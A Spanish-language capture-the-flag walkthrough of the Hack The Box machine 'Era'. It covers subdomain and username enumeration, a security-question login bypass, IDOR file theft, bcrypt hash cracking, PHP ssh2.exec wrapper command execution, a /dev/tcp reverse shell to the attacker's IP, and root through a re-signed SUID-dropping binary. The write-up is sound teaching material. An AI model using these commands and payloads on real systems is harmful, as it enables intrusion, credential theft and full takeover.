Descripción
Era es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de subdominios para encontrar una aplicación web de almacenamiento
- Enumeración de usuarios mediante una mala implementación del inicio de sesión
- Inicio de sesión mediante una mala implementación del inicio de sesión
- Pivote de usuario mediante una mala implementación del reinicio de la seguridad
- Descarga del código fuente de la aplicación (Referencia directa a objetos insegura) que conduce al descubrimiento de una vulnerabilidad de inclusión de archivos locales utilizando atajos del lenguaje PHP y credenciales de usuario
- La vulnerabilidad de inclusión de archivo local permite la ejecución remota de comandos
- Pivote de usuario mediante unas credenciales encontradas anteriormente
- Escalada de privilegios mediante reemplazo de un ELF firmado y editable por el usuario
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.244.58.
$ ping -c 3 10.129.244.58
PING 10.129.244.58 (10.129.244.58) 56(84) bytes of data.
64 bytes from 10.129.244.58: icmp_seq=1 ttl=63 time=48.3 ms
64 bytes from 10.129.244.58: icmp_seq=2 ttl=63 time=48.6 ms
64 bytes from 10.129.244.58: icmp_seq=3 ttl=63 time=47.7 ms
--- 10.129.244.58 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.705/48.204/48.566/0.364 ms
La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.
$ sudo nmap 10.129.244.58 -sS -oN nmap_scan
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.244.58
Host is up (0.051s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 1.13 seconds
Obtenemos dos puertos abiertos: 21 y 80.
Enumeración️
Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.
$ nmap 10.129.244.58 -sV -sC -p21,80 -oN nmap_scan_ports
Starting Nmap 7.94SVN ( https://nmap.org )
Nmap scan report for 10.129.244.58
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.38 seconds
Obtenemos dos servicios: uno de Protocolo de Transferencia de Archivos (FTP), y otro de Protocolo de Transferencia de Hipertexto (HTTP). Dado que no tenemos credenciales factibles para el servicio FTP, vamos a pasar al servicio HTTP. Podemos ver que el servicio HTTP redirige a era.htb. Así que lo agregamos al archivo /etc/hosts.
$ echo "10.129.244.58 era.htb" | sudo tee -a /etc/hosts
Nos encontramos con un sitio web sobre una empresa de diseño.
Realizamos el escaneo de los subdominios del sitio web.
$ gobuster vhost -u era.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://era.htb
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: file.era.htb Status: 200 [Size: 6765]
Encontramos uno, file.era.htb, así que lo agregamos al archivo /etc/hosts.
$ echo "10.129.244.58 file.era.htb" | sudo tee -a /etc/hosts
Al abrir la página, encontramos la aplicación de Era Storage, una aplicación web creada para subir y descargar archivos. Podemos administrar y subir archivos, actualizar las preguntas de seguridad y iniciar sesión como un usuario. También podemos iniciar sesión utilizando preguntas de seguridad.
Vamos a verificar la opción más reciente.
Explotación
Si no tenemos la contraseña del usuario al que queremos acceder, tenemos la opción de iniciar sesión respondiendo tres preguntas de seguridad configuradas previamente.
Encontramos que la aplicación devuelve si el nombre de usuario ingresado existe o no, por lo que podemos utilizar esto para enumerar nombres de usuarios. Vamos a utilizar una lista de palabras de nombres para hacer la enumeración de nombres de usuario. Descargamos la lista de palabras.
$ wget https://github.com/danielmiessler/SecLists/raw/refs/heads/master/Usernames/Names/names.txt
Luego interceptamos la solicitud HTTP con un proxy y usamos la herramienta wfuzz para el ataque de fuerza bruta. Es una solicitud POST al endpoint /security_login.php con los siguientes datos: username=username&answer1=mother&answer2=pet&answer3=city. Encontramos que la respuesta con el nombre de usuario inválido tiene 5378 caracteres.
$ wfuzz -w names.txt -d "username=FUZZ&answer1=mother&answer2=pet&answer3=city" --hh=5378 "http://file.era.htb/security_login.php"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://file.era.htb/security_login.php
Total requests: 10713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000003258: 200 177 L 419 W 5399 Ch "eric"
000003329: 200 177 L 419 W 5399 Ch "ethan"
000005091: 200 177 L 419 W 5399 Ch "john"
000010159: 200 177 L 419 W 5399 Ch "veronica"
000010580: 200 177 L 419 W 5399 Ch "yuri"
Total time: 0
Processed Requests: 10713
Filtered Requests: 10708
Requests/sec.: 0
Encontramos cinco usuarios: eric, ethan, john, veronica y yuri. Ahora, por ejemplo, con el usuario eric, si especificamos respuestas aleatorias obtenemos el mensaje Incorrect answers. Please try again..
Vamos a interceptar la solicitud con el proxy y, como antes, tenemos el cuerpo username=eric&answer1=mother&answer2=pet&answer3=city, vamos a eliminar los parámetros de respuesta y solo enviar username=eric.
El acceso ha sido exitoso, hemos evitado el mecanismo de inicio de sesión con preguntas. Nos redirige a la página de administración.
Encontramos que el usuario eric no ha subido ningún archivo. Vamos a subir un archivo presionando los botones Upload Files y Upload.
Encontramos que el archivo ha sido subido con la dirección de descarga http://file.era.htb/download.php?id=878.
Con al enlace generado, tenemos la opción de descargar el archivo y ahora está agregando el parámetro dl=true a la solicitud HTTP.
En la sección Manage Files, encontramos el archivo subido.
Como hicimos anteriormente, vamos a realizar un ataque de fuerza bruta al parámetro id del endpoint download.php, para ver si encontramos archivos subidos por otros usuarios y comprobar si podemos descargarlos. Necesitamos especificar la cookie en la herramienta wfuzz, en este caso PHPSESSID.
$ wfuzz -c -z range,1-10000 -b "PHPSESSID=77qgsofg8lkdbmrdqmje6137hp" --hh=7686 "http://file.era.htb/download.php?id=FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://file.era.htb/download.php?id=FUZZ
Total requests: 10000
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000054: 200 221 L 515 W 6378 Ch "54"
000000150: 200 221 L 515 W 6366 Ch "150"
000000878: 200 221 L 515 W 6363 Ch "878"
Total time: 0
Processed Requests: 10000
Filtered Requests: 9997
Requests/sec.: 0
Fuera de nuestro ID 878, encontramos los IDs 54 y 150. Descargamos los archivos asociados a estos IDs.
$ wget --header="Cookie: PHPSESSID=77qgsofg8lkdbmrdqmje6137hp" --content-disposition http://file.era.htb/download.php?id=54&dl=true
«site-backup-30-08-24.zip» saved [2006697]
$ wget --header="Cookie: PHPSESSID=77qgsofg8lkdbmrdqmje6137hp" --content-disposition http://file.era.htb/download.php?id=150&dl=true
«signing.zip» saved [2746]
Descargamos los archivos site-backup-30-08-24.zip y signing.zip. Como estos archivos no estaban listados previamente, deben haber sido subidos por otro usuario, lo que indica una vulnerabilidad de Referencia Directa Insegura (IDOR). Extraemos el primero como parece ser un respaldo del sitio web.
$ unzip site-backup-30-08-24.zip -d site-backup-30-08-24
Archive: site-backup-30-08-24.zip
inflating: site-backup-30-08-24/LICENSE
inflating: site-backup-30-08-24/bg.jpg
...
inflating: site-backup-30-08-24/download.php
inflating: site-backup-30-08-24/filedb.sqlite
creating: site-backup-30-08-24/files/
inflating: site-backup-30-08-24/files/.htaccess
extracting: site-backup-30-08-24/files/index.php
inflating: site-backup-30-08-24/functions.global.php
inflating: site-backup-30-08-24/index.php
inflating: site-backup-30-08-24/initial_layout.php
inflating: site-backup-30-08-24/layout.php
inflating: site-backup-30-08-24/layout_login.php
inflating: site-backup-30-08-24/login.php
inflating: site-backup-30-08-24/logout.php
inflating: site-backup-30-08-24/main.png
inflating: site-backup-30-08-24/manage.php
inflating: site-backup-30-08-24/register.php
inflating: site-backup-30-08-24/reset.php
...
inflating: site-backup-30-08-24/screen-download.png
inflating: site-backup-30-08-24/screen-login.png
inflating: site-backup-30-08-24/screen-main.png
inflating: site-backup-30-08-24/screen-manage.png
inflating: site-backup-30-08-24/screen-upload.png
inflating: site-backup-30-08-24/security_login.php
inflating: site-backup-30-08-24/upload.php
...
En efecto, tenemos el código fuente de la aplicación en archivos .php. Existe una carpeta llamada files para guardar los archivos y también un archivo de base de datos del aplicativo llamado filedb.sqlite. Lo exploramos.
$ cd site-backup-30-08-24
$ sqlite3 filedb.sqlite
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
files users
sqlite> select * from files;
54|files/site-backup-30-08-24.zip|1|1725044282
sqlite> select * from users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||
Encontramos un archivo subido en la carpeta files, que es el respaldo descargado anteriormente. También encontramos los usuarios que descubrimos previamente, más uno nuevo, el administrador admin_ef01cab31aa. Todos tienen hashes asociados a ellos. Vamos a intentar crackearlos para encontrar credenciales.
$ cat hashes
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
Encontramos dos credenciales: la contraseña del usuario eric es america y para el usuario yuri es mustang.
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 1024 to 4096
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
america (eric)
mustang (yuri)
Vamos a regresar al aplicativo web, específicamente a la sección Update Security Questions. Tenemos la opción de cambiar las preguntas de seguridad para cualquier usuario. Vamos a cambiarlas para el usuario admin_ef01cab31aa.
El cambio es exitoso, por lo que podemos cerrar la sesión y ahora podemos iniciar sesión con la cuenta del administrador utilizando las respuestas ingresadas previamente.
Encontramos los dos archivos que descargamos antes. Vamos a leer el código fuente del aplicativo, específicamente el archivo download.php. Nos enfocaremos en este trozo de código.
$fileName = str_replace("files/", "", $fetched[0]);
// Allow immediate file download
if ($_GET['dl'] === "true") {
header('Content-Type: application/octet-stream');
header("Content-Transfer-Encoding: Binary");
header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
readfile($fetched[0]);
// BETA (Currently only available to the admin) - Showcase file instead of downloading it
} elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
$format = isset($_GET['format']) ? $_GET['format'] : '';
$file = $fetched[0];
if (strpos($format, '://') !== false) {
$wrapper = $format;
header('Content-Type: application/octet-stream');
} else {
$wrapper = '';
header('Content-Type: text/html');
}
try {
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
$full_path = $wrapper ? $wrapper . $file : $file;
// Debug Output
echo "Opening: " . $full_path . "\n";
echo $file_content;
} catch (Exception $e) {
echo "Error reading file: " . $e->getMessage();
}
Encontramos que si se especifica el parámetro dl, el archivo se devuelve al cliente para la descarga, utilizando la función readfile. Pero después de eso, encontramos una funcionalidad “BETA” oculta al utilizar los parámetros show y format. La funcionalidad solo puede ser utilizada por el usuario administrador y se utiliza para mostrar el contenido del archivo en lugar de descargarlo.
El parámetro show debe ser establecido como true. El parámetro format solo es aceptado si contiene la cadena ://. Esto puede estar relacionado con los wrappers de PHP como file://, http:// o php://. Luego se une el wrapper con el nombre del archivo. Como vimos en la base de datos SQLite, el formato del nombre del archivo es files/ + <nombre_del_archivo> ya que los archivos están guardados en la carpeta files.
Vamos a regresar a enumerar el servidor FTP con las credenciales que descubrimos anteriormente. Podemos iniciar sesión utilizando el nombre de usuario yuri y la contraseña mustang. Encontramos dos carpetas: apache2_conf y php8.1_conf. Descargamos sus contenidos con la herramienta wget.
$ ftp yuri@era.htb
Connected to era.htb.
220 (vsFTPd 3.0.5)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||49577|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 22 08:42 apache2_conf
drwxr-xr-x 3 0 0 4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.
$ wget -r -l 0 ftp://yuri:mustang@era.htb
Encontramos la configuración del sitio Apache para el subdominio file en el archivo era.htb/apache2_conf/file.conf.
$ cat era.htb/apache2_conf/file.conf
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/file
ServerName file.era.htb
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Encontramos que la raíz del aplicativo web está ubicada en /var/www/file. En la carpeta era.htb/php8.1_conf encontramos archivos de módulos PHP.
$ ls era.htb/php8.1_conf
build dom.so fileinfo.so iconv.so pdo_sqlite.so readline.so sockets.so sysvmsg.so tokenizer.so xmlwriter.so
calendar.so exif.so ftp.so opcache.so phar.so shmop.so sqlite3.so sysvsem.so xmlreader.so xsl.so
ctype.so ffi.so gettext.so pdo.so posix.so simplexml.so ssh2.so sysvshm.so xml.so zip.so
Asumimos que los módulos listados están habilitados en el servidor. Encontramos uno interesante, ssh2.so, utilizado para conectarse a servidores SSH, ejecutar comandos y obtener archivos. El wrapper de PHP ssh2:// existe para este fin. Podemos ejecutar comandos utilizando el wrapper ssh2.exec://user:pass@example.com:22/<comando_a_ejecutar>. Regresamos al sitio web para verificar la funcionalidad de “mostrar”. Usaremos un proxy para esta tarea. Vamos a intentar con el wrapper http:// en nuestro servidor HTTP, por lo que lo iniciamos.
$ python -m http.server 80
Ingresamos http://10.10.14.25/ como parámetro de formato, que es nuestro servidor HTTP. Se está agregando la cadena files/test.txt, lo cual es la ubicación relativa del archivo test.txt que subimos anteriormente. Recibimos una conexión en nuestro servidor HTTP.
$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.244.58 - - code 404, message File not found
10.129.244.58 - - "GET /files/test.txt HTTP/1.1" 404 -
Encontramos que la vulnerabilidad del wrapper funciona correctamente. Vamos a leer el archivo test.txt con el wrapper file:// y el argumento /var/www/file/, ya que sabemos dónde están almacenados los archivos y la raíz del aplicativo web.
El texto Resource id #2 se muestra como el aplicativo PHP está echando el valor de retorno de la función fopen, no el contenido del archivo. Sin embargo, esto confirma que el archivo existe y se abre correctamente, a diferencia del caso anterior cuando el texto no se mostraba.
Vamos a utilizar esta vulnerabilidad para subir un script Bash malicioso que se ejecutará con el wrapper ssh2.exec://. Como vimos en el escaneo de puertos, el puerto SSH no está abierto a conexiones externas, pero puede estar abierto a conexiones locales. Dado que el wrapper se ejecuta en el servidor, no habrá problemas. También necesitamos credenciales, por lo que usaremos las del FTP funcionales yuri:mustang. Creamos un script de consola inversa, exploit.sh y lo subimos, obteniendo el ID 7603. También abrimos una conexión escuchando en el puerto 1234.
$ cat exploit.sh
/bin/bash -i >& /dev/tcp/10.10.14.25/1234 0>&1
$ nc -nvlp 1234
La cadena completa que vamos a utilizar en el parámetro format es ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20/var/www/file/. El resto de la cadena del wrapper, files/exploit.sh, se agregará por la aplicación. Tenemos que tener en cuenta al codificar caracteres especiales como el espacio %20.
Recibimos la consola inversa como el usuario yuri, la actualizamos.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.25] from (UNKNOWN) [10.129.244.58] 37478
bash: cannot set terminal process group (7137): Inappropriate ioctl for device
bash: no job control in this shell
yuri@era:~$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
yuri@era:~$ ^Z
$ stty raw -echo; fg
$ reset xterm
yuri@era:~$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156
Post-Explotación
Como usuarios del sistema, encontramos los usuarios root, eric y yuri.
yuri@era:~$ grep sh /etc/passwd
root:x:0:0:root:/root:/bin/bash
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh
Podemos cambiar a la cuenta de eric con la contraseña que habíamos encontrado anteriormente, america.
eric@era:/home/yuri$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
eric@era:/home/yuri$ cd
eric es parte del grupo devs. Descargamos la herramienta pspy para encontrar procesos en ejecución.
eric@era:~$ wget http://10.10.14.24/pspy64
eric@era:~$ chmod +x pspy64
eric@era:~$ ./pspy64
...
CMD: UID=0 PID=7292 | /usr/sbin/CRON -f -P
CMD: UID=0 PID=7294 | bash -c echo > /opt/AV/periodic-checks/status.log
CMD: UID=0 PID=7296 | bash -c /root/initiate_monitoring.sh
CMD: UID=0 PID=7295 | /bin/sh -c bash -c '/root/initiate_monitoring.sh' >> /opt/AV/periodic-checks/status.log 2>&1
CMD: UID=0 PID=7297 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
CMD: UID=0 PID=7298 | /bin/bash /root/initiate_monitoring.sh
CMD: UID=0 PID=7299 | openssl asn1parse -inform DER -in text_sig_section.bin
CMD: UID=0 PID=7302 | grep -oP (?<=UTF8STRING :)Era Inc.
CMD: UID=0 PID=7300 | /bin/bash /root/initiate_monitoring.sh
CMD: UID=0 PID=7305 | grep -oP (?<=IA5STRING :)yurivich@era.com
CMD: UID=0 PID=7303 | /bin/bash /root/initiate_monitoring.sh
Encontramos que el script /root/initiate_monitoring.sh propiedad del usuario root ejecuta el binario /opt/AV/periodic-checks/monitor. Tenemos permisos para reemplazarlo ya que somos parte del grupo devs.
eric@era:~$ ls -l /opt/AV/periodic-checks/monitor
-rwxrw---- 1 root devs 16544 /opt/AV/periodic-checks/monitor
Al revisar los otros comandos que se ejecutan, no será tan fácil reemplazar el archivo para obtener la ejecución de comandos como usuario root. La sección ELF binaria del ejecutable es volcada, específicamente la sección text_sig. Al buscar información sobre esta sección, encontramos el proyecto linux-elf-binary-signer, una aplicación utilizada para firmar binarios ELF. Esto significa que el binario solo se ejecutará si está firmado. Encontramos que necesitamos un certificado para firmar. En la sección anterior encontramos el archivo signing.zip pero no lo descomprimimos.
$ unzip signing.zip -d signing
Archive: signing.zip
inflating: signing/key.pem
inflating: signing/x509.genkey
Encontramos que contiene un archivo PEM, probablemente con una clave privada y un certificado. Es cierto.
$ openssl rsa -in signing/key.pem -noout
$ openssl x509 -in signing/key.pem -text
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
6d:63:4a:a9:81:e1:93:a1:e4:48:c5:20:5f:f7:9b:84:e6:b6:f5:0b
Signature Algorithm: sha256WithRSAEncryption
Issuer: O=Era Inc., CN=ELF verification, emailAddress=yurivich@era.com
Validity
Not Before: Jan 26 02:09:35 2025 GMT
Not After : Jan 2 02:09:35 2125 GMT
Subject: O=Era Inc., CN=ELF verification, emailAddress=yurivich@era.com
...
Encontramos que el binario fue creado por el usuario yurivich para la verificación ELF. Vamos a crear un archivo binario malicioso para crear una copia del binario Bash y luego asignar el permiso SUID para hacerlo ejecutable como propietario.
$ cat exploit.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main() {
const char *cmd = "cp /bin/bash /tmp/suid-bash; chmod u+s /tmp/suid-bash";
execl("/bin/sh", "sh", "-c", cmd, (char *)NULL);
return 0;
}
$ gcc -o exploit exploit.c
El exploit es guardado en el binario exploit. Luego clonamos la herramienta linux-elf-binary-signer, instalamos sus dependencias, compilamos y finalmente firmamos el binario con el certificado que encontramos anteriormente.
$ git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer
$ cd linux-elf-binary-signer
$ cc -o elf-sign elf_sign.c -lcrypto
$ ./elf-sign sha256 ../signing/key.pem ../signing/key.pem ../exploit
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 31 sections detected.
--- [Library dependency]: libc.so.6
--- Section 0014 [.text] detected.
--- Length of section [.text]: 312
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig
$ cd ..
Revisamos si el archivo fue firmado correctamente utilizando la herramienta objdump.
$ objdump -s exploit
...
Contents of section .text_sig:
0000 308201c6 06092a86 4886f70d 010702a0 0.....*.H.......
0010 8201b730 8201b302 0101310d 300b0609 ...0......1.0...
0020 60864801 65030402 01300b06 092a8648 `.H.e....0...*.H
0030 86f70d01 07013182 01903082 018c0201 ......1...0.....
0040 01306730 4f311130 0f060355 040a0c08 .0g0O1.0...U....
0050 45726120 496e632e 31193017 06035504 Era Inc.1.0...U.
0060 030c1045 4c462076 65726966 69636174 ...ELF verificat
0070 696f6e31 1f301d06 092a8648 86f70d01 ion1.0...*.H....
0080 09011610 79757269 76696368 40657261 ....yurivich@era
0090 2e636f6d 02146d63 4aa981e1 93a1e448 .com..mcJ......H
...
Está firmado correctamente, lo descargamos a la máquina y reemplazamos el binario monitor.
eric@era:~$ wget http://10.10.14.25/exploit
eric@era:~$ cp exploit /opt/AV/periodic-checks/monitor
Pasados unos segundos, se crea el binario suid-bash.
eric@era:~$ ls -l /tmp/suid-bash
-rwsr-xr-x 1 root root 1396520 Jul 27 19:34 /tmp/suid-bash
Podemos iniciar una sesión de Bash como usuario root:
eric@era:~$ /tmp/suid-bash -p
suid-bash-5.1# id
uid=1000(eric) gid=1000(eric) euid=0(root) groups=1000(eric),1001(devs)
Flags
En la consola root, podemos recuperar los archivos user.txt y root.txt.
suid-bash-5.1# cat /home/eric/user.txt
<REDACTED>
suid-bash-5.1# cat /root/root.txt
<REDACTED>